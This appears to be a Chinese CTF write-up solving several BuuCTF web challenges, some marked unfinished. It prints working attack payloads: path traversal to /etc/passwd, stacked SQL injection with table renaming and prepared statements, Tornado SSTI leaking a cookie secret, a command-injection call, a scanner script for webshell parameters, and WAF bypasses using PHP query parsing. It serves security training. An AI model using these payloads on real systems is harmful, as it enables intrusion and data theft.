BuuCTF Web Writeup

2023-06-12,,

WarmUp

index.php

<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php--> <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

访问source.php

题目源码

<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; ----- A
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
----- A ----- B
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
----- B ----- C
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
----- C
echo "you can't see it";
return false;
}
} if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

题目原型

phpMyAdmin文件包含漏洞

代码审计

0x00 include $_REQUEST['file']; 存在文件包含漏洞

0x01 A段检测传入的$page是否为白名单中的值

0x02 B段检测$page?前部分是否为白名单中的值

0x03 C段先对 $_page进行url解码后再检测$_page?前部分是否为白名单中的值

解题思路

0x00 构造如下基础结构的$_REQUEST['file']进行任意文件读取

payload: ?file=aaa/../bbb

如何理解aaa/../bbb

aaa/表示当前文件同级目录下的文件夹名(不检测该文件是否存在)

../bbb表示aaa/文件夹所在目录的父级目录下的文件名

father
├── aaa(文件夹 不一定要存在)
└── bbb(文件 一定要存在)

0x01 满足 emmm:checkFile($_REQUEST['file']) == True

解题方法

A段无法利用

令B段返回True

payload: ?file=source.php?/../../../../etc/passwd

通过回显知道payload正确,根据hint.php的提示得到flag

payload: ?file=source.php?/../../../../ffffllllaaaagggg

网上有人说include中不能有?,不清楚是什么情况,本人测试中没遇到问题

故也可以利用C段进行?的绕过

payload: ?file=source.php%253f/../../../../ffffllllaaaagggg

别忘了对%进行编码转换为 %25,因为url解析会自动进行url解码

疑问解析

之前有人有疑问表示不清楚目录穿越到底要穿多少层才能到根目录

其实多写几个../就可以了,因为一旦到根目录了,写几个../都还是在根目录上

随便注

先进行简单测试,发现存在过滤

payload: ?inject=' union select 1,2,3--+
return : return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

测试中发现存在堆叠注入

查询当前数据库表结构

payload: ?inject=';show tables;desc `1919810931114514`;desc words;

MariaDB [test]> desc `1919810931114514`;  --A
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| flag | varchar(100) | NO | | NULL | |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.01 sec) MariaDB [test]> desc words; --B
+-------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| id | int(10) | NO | | NULL | |
| data | varchar(20) | NO | | NULL | |
+-------+-------------+------+-----+---------+-------+
2 rows in set (0.00 sec)

有一个细节在A和B处,这个细节在之后至关重要

A用全数字做表名,在使用时需要用反引号包裹,不然会产生错误,但如果半数字半字符则不需要

MariaDB [test]> desc 0d4y;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| name | varchar(100) | NO | | NULL | |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.01 sec) MariaDB [test]> desc 1919810931114514;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1919810931114514' at line 1

题目有多种解法,一下进行三种解法的解析

0x00 重命名

通过测试可以猜测后台sql代码

$sql = select id, data from words where id = '{$id}';

解题思路

0x00 把1919810931114514改名为words,之后将1919810931114514中的字段flag改名为id

0x01 利用mysql特性构造' or '1得到flag

解题过程

payloaf: ?inject=';rename table `words` to `w`; rename table `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(255);desc words;
return :
array(6) {
[0]=>
string(2) "id"
[1]=>
string(12) "varchar(255)"
[2]=>
string(3) "YES"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

回显可以判断修改成功

payload: ?inject=1' or '1
return :
array(1) {
[0]=>
string(42) "flag{287b6180-ddd5-43a7-9f38-4d38defd1013}"
}

payload代入sql语句

$sql = select id, data from words where id = '1' or '1'; =>
$sql = select id, data from words where 1; =>
$sql = select id, data from words;

MySQL ALTER

用于修改数据表名或者修改数据表字段

删除,添加字段

MariaDB [test]> desc 0d4y;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| name | varchar(255) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.00 sec) MariaDB [test]> alter table 0d4y add age int;
Query OK, 0 rows affected (0.01 sec)
Records: 0 Duplicates: 0 Warnings: 0 MariaDB [test]> desc 0d4y;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| name | varchar(255) | YES | | NULL | |
| age | int(11) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
2 rows in set (0.00 sec) MariaDB [test]> alter table 0d4y drop age;
Query OK, 0 rows affected (0.01 sec)
Records: 0 Duplicates: 0 Warnings: 0 MariaDB [test]> desc 0d4y;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| name | varchar(255) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.00 sec)

修改字段

MariaDB [test]> desc 0d4y;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| name | varchar(255) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.00 sec) MariaDB [test]> alter table 0d4y modify name varchar(100);
Query OK, 1 row affected (0.02 sec)
Records: 1 Duplicates: 0 Warnings: 0 MariaDB [test]> desc 0d4y;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| name | varchar(100) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.00 sec) MariaDB [test]> alter table 0d4y change `name` `id` int;
Query OK, 1 row affected, 1 warning (0.02 sec)
Records: 1 Duplicates: 0 Warnings: 1 MariaDB [test]> desc 0d4y;
+-------+---------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+---------+------+-----+---------+-------+
| id | int(11) | YES | | NULL | |
+-------+---------+------+-----+---------+-------+
1 row in set (0.00 sec)

0x01 预处理

MySQL用户变量定义格式

set @v = xxx;

解题思路

0x00 将查询flag的sql语句预定义

0x01 执行预定义sql语句

解题过程

payload: ?inject=';set @s = concat('s', 'elect * from `1919810931114514`');prepare a from @s; execute a;
return : strstr($inject, "set") && strstr($inject, "prepare")

回显表示setprepare不能同时存在

payload: ?inject=';Set @s = concat('s', 'elect * from `1919810931114514`');prepare a from @s;execute a;
return :
array(1) {
[0]=>
string(42) "flag{21e33093-12e2-4d51-852a-1db8bcab4ff6}"
}

MySQL PREPARE

PREPARE name from '[my sql sequece]';   //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句
MariaDB [test]> prepare flag from "select * from 0d4y";
Query OK, 0 rows affected (0.00 sec)
Statement prepared MariaDB [test]> execute flag;
+------+
| id |
+------+
| 0 |
+------+
1 row in set (0.00 sec) MariaDB [test]> drop prepare flag;
Query OK, 0 rows affected (0.00 sec)

easy_tornado

题目提示

-- /flag.txt
flag in /fllllllllllllag -- /welcome.txt
render -- /hints.txt
md5(cookie_secret+md5(filename))

解题思路

0x00 render模板渲染暗示存在SSTI服务端模板注入攻击

0x01 handler.settings保存配置选项,包括cookie_secret

解题方法

访问文件时观察url

payload: /file?filename=/welcome.txt&filehash=1ee0dabf22eb0879a60444267ed3e063

存在文件读取点,访问/fllllllllllllag

页面跳转至/error?msg=Error

尝试SSTI

payload: /error?msg={{handler.settings}}

界面回显: {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '9c83fab7-1b67-404c-9aa8-69453579ac8c'}

exp.py

import hashlib
import requests def md5(s):
md5 = hashlib.md5()
md5.update(s.encode())
return md5.hexdigest() filename = "/fllllllllllllag"
cookie_secret = "9c83fab7-1b67-404c-9aa8-69453579ac8c"
filehash = md5(cookie_secret + md5(filename))
url = "http://93dc9c40-c8fc-4f2c-bce7-e28fae7437a6.node2.buuoj.cn.wetolink.com:82/file?filename=%s&filehash=%s" % (filename, filehash)
html = requests.get(url) print(html.text)

高明的黑客

审计代码

拷贝下源码后发现有3000份文件,审计文件代码发现代码非常混乱

仔细观察可以看到代码中存在非常多的$_GET以及$_POST,以及命令执行函数

$_GET['xd0UXc39w'] = ' ';
assert($_GET['xd0UXc39w'] ?? ' ');

但基本都如上段代码一样无法利用

解题思路

0x00 先测试源码包中是否存在可以执行命令的点

0x01 代码量过大,脚本执行时间可能会过长,开启多线程

解题方法

# encoding: utf-8

import os
import requests
from concurrent.futures.thread import ThreadPoolExecutor url = "http://localhost/CTF/BUUCTF/SmartHacker/src/"
path = "/Applications/XAMPP/xamppfiles/htdocs/CTF/BUUCTF/SmartHacker/src/"
files = os.listdir(path)
pool = ThreadPoolExecutor(max_workers=5) def read_file(file):
str = open(path + "/" + file, 'r').read() # catch GET
start = 0
params = {}
while str.find("$_GET['", start) != -1:
pos2 = str.find("']", str.find("$_GET['", start) + 1)
var = str[str.find("$_GET['", start) + 7: pos2]
start = pos2 + 1 params[var] = 'print "get---";' # catch POST
start = 0
data = {}
while str.find("$_POST['", start) != -1:
pos2 = str.find("']", str.find("$_POST['", start) + 1)
var = str[str.find("$_POST['", start) + 8: pos2]
start = pos2 + 1 data[var] = 'print post---;' # eval assert
r = requests.post(url + file, data=data, params=params)
if 'get---' in r.text:
print(file, "found!A!get method")
elif 'post---' in r.text:
print(file, "found!A!post method") # system
for i in params:
params[i] = 'echo get---;' for i in data:
data[i] = 'echo post---;' r = requests.post(url + file, data=data, params=params)
if 'get---' in r.text:
print(file, "found!B!get method")
elif 'post---' in r.text:
print(file, "found!B!post method") if __name__ == '__main__': for file in files:
if not os.path.isdir(file):
pool.submit(read_file, file)

脚本结果

xk0SzyKwfzw.php found!B!get method

xk0SzyKwfzw.php$_GETsystem()结合的命令执行漏洞

审计代码

搜索xk0SzyKwfzw.php中的$_GET全局变量,在line 300发此现漏洞

$XnEGfa = $_GET['Efa5BVG'] ?? ' ';
$aYunX = "sY";
$aYunX .= "stEmXnsTcx";
$aYunX = explode('Xn', $aYunX);
$kDxfM = new stdClass();
$kDxfM->gHht = $aYunX[0];
($kDxfM->gHht)($XnEGfa);
payload: /xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

Dropbox(未完成)

上传测试后发现只能上传图片类型文件

抓包

POST /download.php HTTP/1.1
...
Cookie: PHPSESSID=94b78b93ffa19e6bc6d07e0da5307548
Connection: keep-alive
Upgrade-Insecure-Requests: 1 filename=%E5%9B%BE%E7%89%87%E9%A9%AC.png

放包之后会显示文件内容

目录穿越

filename=../../../../../etc/passwd

显示结果

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...
mysql:x:100:101:mysql:/var/lib/mysql:/sbin/nologin
nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin

题目中的主要文件

.
├── class.php
├── delete.php
├── download.php
├── index.php
├── login.php
└── register.php

class.php是核心文件

class.php(简化)

<?php

class User {
public $db; public function __destruct() {
$this->db->close();
}
} class FileList {
private $files;
private $results;
private $funcs; public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
} public function __destruct() {
...
echo $table;
}
} class File {
public $filename; public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
} public function close() {
return file_get_contents($this->filename);
}
}
?>

File类中的close()方法存在RCE vulnerability

Q: 如何利用RCE vulnerability?

代码中并不 unserialize(),但存在文件上传点

Attack PHP Deserialization Vulnerability via Phar

the Phar File Structure

0x00 A Stub

It can be interpreted as a flag and the format is xxx<?php xxx; __HALT_COMPILER();?>.The front content is not limited, but it must end with __HALT_COMPILER();?>, otherwise the phar extension will not recognize this file as a phar file.

0x01 A Manitest Describing the Contents

A phar file is essentially a compressed file, in which the permissions, attributes and other information of each compressed file are included. This section also stores user-defined meta-data in serialized form, which is the core of the above attacks.

0x02 The File Contents

It is the contents of compressed file.

0x03 A signature for verifying Phar integrity

phar file format only

Demo

Construct a phar file according to the file structure, and PHP has a built-in class to handle related operations

Set the phar.readonly option in php.ini to Off, otherwise the phar file cannot be generated.

class Demo {
@unlink("phar.phar");
$phar = new Phar("phar.phar"); // suffix must be phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); // set stub and disguise as gif
$o = new file();
$o->output = "phpinfo();";
$phar->setMetadata($o); // store custom meta-data in manifest
$phar->addFromString("test.txt", "test"); // compressed file
$phar->stopBuffering(); // automatic computation of signature
};

未完成

[RoarCTF 2019]Easy Java

点击 help,跳转到/Download?filename=help.docx,存在任意文件读取漏洞

java.io.FileNotFoundException:{help.docx} // 界面回显

此时读取文件失败,修改请求方法为 post

filename=/WEB-INF/web.xml

...
// 敏感信息
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping> ...

简述 servlet 的 url-pattern 匹配

上述信息中<servlet>首先配置声明一个 servlet,其中包括 servlet 名字以及其对应类名

<servlet-mapping>声明与该 servlet 相应的匹配规则,每个<url-pattern> 代表一个匹配规则

当浏览器发起一个url请求后,该请求发送到servlet容器的时候,容器先会将请求的url减去当前应用上下文的路径作为 servlet 的映射 url,剩下的部分拿来做servlet的映射匹配

filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

下载文件进行反汇编

import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; @WebServlet(name = "FlagController")
public class FlagController extends HttpServlet {
String flag = "ZmxhZ3s1ZTNhNzBjMS0xNzk2LTRmNmQtODUyOC05ZmE1MzYzOGNhZTV9Cg=="; protected void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
PrintWriter printWriter = paramHttpServletResponse.getWriter();
printWriter.print("<h1>Flag is nearby ~ Come on! ! !</h1>");
}
}

什么是WEB-INF & WEB-INF重要目录和文件

WEB-INF 是 JavaWeb 的安全目录,所谓安全就是客户端无法访问,只有服务端可以访问的目录

/WEB-INF/web.xml

Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则

/WEB-INF/classes/

包含站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中

/WEB-INF/lib/

存放 web 应用需要的各种 JAR 文件

/WEB-INF/src/

源码目录,按照包名结构放置各个java文件

/WEB-INF/database.properties

数据库配置文件

[RoarCTF 2019]Easy Calc(未完成)

$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})

访问calc.php得到后台源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

过滤的常用字符

`$^[]'"%20

过滤了单引号,在构造payload时用chr()代替

/calc.php? num=1;var_dump(scandir(chr(47))); // /f1agg
/calc.php? num=1;readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));
$payload = "/f1agg";
$arr = str_split($payload);
foreach ($arr as $a)
echo "chr(".ord($a).").";
//chr(47).chr(102).chr(49).chr(97).chr(103).chr(103).

payload中有一个很关键的地方 num 前面有一个空格,因为题中存在 WAF,对 num 的值进行了校验,直接传 payload,会返回这啥?算不来,于是利用php字符串解析特性绕过 WAF,此时 WAF 检测到的变量名为%20num,不为 num,不进行校验,但php存储的变量名为 num

利用PHP的字符串解析特性

PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST的过程中会将某些字符删除或用下划线代替

如果一个 IDS/IPS 或 WAF 中有一条规则是当 news_id 参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过

%20news[id%00 // 这个变量名的值实际存储在 $_GET["news_id"] 中

parse_str()通常被自动应用于 get 、post 请求和 cookie 中,对 URL 传递入的查询字符串进行解析

通过如下 fuzz 了解parse_str()如何处理特殊字符

foreach(["{chr}foo_bar", "foo{chr}bar", "foo_bar{chr}"] as $k => $arg) {
for($i=0;$i<=255;$i++) {
parse_str(str_replace("{chr}",chr($i),$arg),$o);
if(isset($o["foo_bar"])) {
echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
} // bin2hex 将字符转为16进制数
}
echo "\n";
}
{chr}foo_bar -> 20 ( )
{chr}foo_bar -> 26 (&)
{chr}foo_bar -> 2b (+) foo{chr}bar -> 20 ( )
foo{chr}bar -> 2b (+)
foo{chr}bar -> 2e (.)
foo{chr}bar -> 5b ([)
foo{chr}bar -> 5f (_) foo_bar{chr} -> 00 ()
foo_bar{chr} -> 26 (&)
foo_bar{chr} -> 3d (=)

BuuCTF Web Writeup的相关教程结束。

《BuuCTF Web Writeup.doc》

下载本文的Word格式文档,以方便收藏与打印。